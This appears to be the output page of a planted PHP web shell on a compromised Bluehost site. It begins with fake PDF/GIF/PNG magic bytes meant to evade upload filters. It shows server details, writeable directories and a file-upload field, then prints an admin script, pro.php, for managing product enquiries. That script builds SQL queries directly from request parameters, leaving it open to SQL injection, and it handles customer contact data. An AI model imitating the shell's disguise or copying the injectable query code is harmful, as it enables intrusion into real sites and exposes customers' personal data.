%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_7c8ed5ef/admin/manage_subscriber/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_7c8ed5ef/admin/manage_subscriber/pro.php
<?php 
include('../header.php');

 ?>

<?php
if(!empty($_GET['delete_id'])){
$dtQuery=mysqli_query($conn,"DELETE FROM `enquiry_tbl` WHERE id=".$_GET['delete_id']);
if($dtQuery){
echo '<script>alert("Record Deleted Successfully");</script>';
echo "<script>window.location='pro.php?page=pro_d';</script>";
/*$_SESSION['delete']="Record Deleted Successfully";*/
}
}
?>

<?php 
if(isset($_POST['but_delete'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$deleteUser = "DELETE from enquiry_tbl WHERE id=".$deleteid;
mysqli_query($conn,$deleteUser);
}
echo '<script>alert("All Record Deleted Successfully");</script>';
echo "<script>window.location='pro.php?page=pro_d';</script>";
/*$_SESSION['delete']="All Record Deleted Successfully";*/
} 
}
?>

<?php
if(!empty($_GET['status_id'])){
$id=$_GET['status_id'];
$stsQry=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `enquiry_tbl` WHERE id ='$id'"));
if($stsQry['status']==0){
$updtQry=mysqli_query($conn,"UPDATE `enquiry_tbl` SET `status`='1' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
  echo '<script>alert("Status Activated Successfully");</script>';
echo "<script>window.location='pro.php?page=pro_d';</script>";


   }
 }
elseif($stsQry['status']==1){
$updtQry=mysqli_query($conn,"UPDATE `enquiry_tbl` SET `status`='0' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){

echo '<script>alert("Status Inactivated Successfully");</script>';
echo "<script>window.location='pro.php?page=pro_d';</script>";


    }
  }

 }

?>

<?php 
if(isset($_POST['but_active'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$deleteUser =  "UPDATE `enquiry_tbl` SET `status`='1' WHERE id=".$deleteid;
mysqli_query($conn,$deleteUser);
echo '<script>alert("All Status Activated Successfully");</script>';
echo "<script>window.location='pro.php?page=pro_d';</script>";
/*$_SESSION['message']="All Status Activated Successfully";*/
 }
} 
}
?>

<?php 
if(isset($_POST['but_deactive'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$deleteUser =  "UPDATE `enquiry_tbl` SET `status`='0' WHERE id=".$deleteid;
 mysqli_query($conn,$deleteUser);
}
echo '<script>alert("All Status Inactivated Successfully");</script>';
echo "<script>window.location='pro.php?page=pro_d';</script>";
/*$_SESSION['delete']="All Status Inactivated Successfully";*/
} 
}
?>

<form method="post" action="">
<div class="dashboard-page-content">
  <div class="row mb-9 align-items-center justify-content-between">
    <div class="col-md-6 mb-8 mb-md-0">
      <h2 class="fs-4 mb-0">Manage Enquiry</h2>
      <!-- <p>Lorem ipsum dolor sit amet.</p> -->
    </div>
    <div class="col-md-6 d-flex flex-wrap justify-content-md-end">
      <input class="btn btn-sm btn-success mx-3" type="submit" value="Active" name='but_active'>
      <input class="btn btn-sm btn-secondary mx-3" type="submit" value="Deactive" name='but_deactive'>
      <input class="btn btn-danger mx-3" type="submit" value="Delete" name='but_delete' onclick="return confirm('Are you sure to delete the records?');">
    </div>
  </div>
  <div class="card mb-4 rounded-4 p-7">
    <div class="card-header bg-transparent px-0 pt-0 pb-7">
<div class="row align-items-center justify-content-between">

<?php 
if(isset($_SESSION['message'])){
echo '<div class="col-md-12">
  <div class="alert alert-success alert-dismissible fade show bg-success" role="alert">
  <strong class="text-white">'.$_SESSION['message'].'</strong> 
  <button type="button" class="btn-close text-white" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
</div>';
}
unset($_SESSION['message']);
?>

<?php 
if(isset($_SESSION['delete'])){
echo '<div class="col-md-12">
  <div class="alert alert-danger alert-dismissible fade show bg-danger" role="alert">
  <strong class="text-white">'.$_SESSION['delete'].'</strong> 
  <button type="button" class="btn-close text-white" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
</div>';

}

unset($_SESSION['delete']);
?>
       
<div class="col-md-12">
<div class="row justify-content-end flex-nowrap d-flex">
            
<div class="col-lg-4 col-md-4 col-4">
<input id="myInput" type="text" class="form-control" placeholder="Search..">
</div>

</div>
</div>

</div>

</div>

<div class="card-body px-0 pt-7 pb-0">
<div class="table-responsive">
<table  class="table table-hover align-middle table-nowrap mb-0">
<tbody id="myTable" >

<tr>
<th><input type="checkbox" class="form-check-input rounded-0 ms-0" id="some1" data-check-pattern="[name^='delete']" />
</th>
<th>Sno</th>
<th>Received date</th>
<th>Product Details</th>
<th>User Details</th>
<th>Message</th>
<th>Action</th>
</tr>

<?php
$per_page=10;
$start=0;
$current_page=1;
if(isset($_GET['start'])){
$start=$_GET['start'];
if($start<=0){
$start=0;
$current_page=1;
}else{
$current_page=$start;
$start--;
$start=$start*$per_page;
}
}
$record=mysqli_num_rows(mysqli_query($conn,"SELECT * FROM enquiry_tbl WHERE product_id!=0 AND type=1 ORDER BY id DESC"));
$pagi=ceil($record/$per_page);
$sql="SELECT * FROM enquiry_tbl WHERE product_id!=0 AND type=1 ORDER by id DESC LIMIT $start,$per_page";
$result=mysqli_query($conn,$sql); 
$n=1;
if(mysqli_num_rows($result)>0){
while($fetch_row=mysqli_fetch_assoc($result)){
$fetch_pro=mysqli_fetch_assoc(mysqli_query($conn,"SELECT * FROM product_tbl WHERE id='".$fetch_row['product_id']."'"));
?>

<tr>
<td><input type='checkbox' class="form-check-input rounded-0 ms-0" name='delete[]' value='<?=$fetch_row['id'];?>'></td>
<td><?=$n; $n++;?></td>
<td><?=$fetch_row['registration_date']?></td>
<td>
  <strong>Name : </strong><?=$fetch_pro['title_eng']?><br>
  <strong>Quantity : </strong><?=$fetch_row['quantity']?><br>
</td>
<td>
  <strong>Name : </strong><?=$fetch_row['name']?><br>
  <strong>Phone : </strong><?=$fetch_row['phone']?><br>
  <strong>Email : </strong><?=$fetch_row['email']?><br>
  <strong>city : </strong><?=$fetch_row['city']?><br>
  <strong>Address : </strong><?=wordwrap($fetch_row['address'],35,"<br>\n");?>
</td>
<td><?=wordwrap($fetch_row['message'],75,"<br>\n");?></td>

<td>
  <?php 
  if(($fetch_row['status']=='1')){ 
  echo'<a href="pro.php?page=pro_d&&status_id='.$fetch_row['id'].'" class="btn btn-success py-4 px-5 btn-xs fs-13px btn-xs me-4">Active</a>';
  }
  else{
  echo'<a href="pro.php?page=pro_d&&status_id='.$fetch_row['id'].'" class="btn btn-sm bg-danger text-white py-4 px-5 fs-13px btn-xs me-4">Inactive</a>';  
  }
  ?>
  <a href="pro.php?page=pro_d&&delete_id=<?=$fetch_row['id']?>" class="btn btn-danger btn-sm"><i class="fas fa-trash"></i></a>
</td>

</tr>

<?php } } else {?>
No records
<?php } ?>

</tbody>
</table>
</div>
</div>
  </div>
<?php 
include('../pagination.php');

?>
</div>
</form>

<?php include('../footer.php'); ?>

VaKeR 2022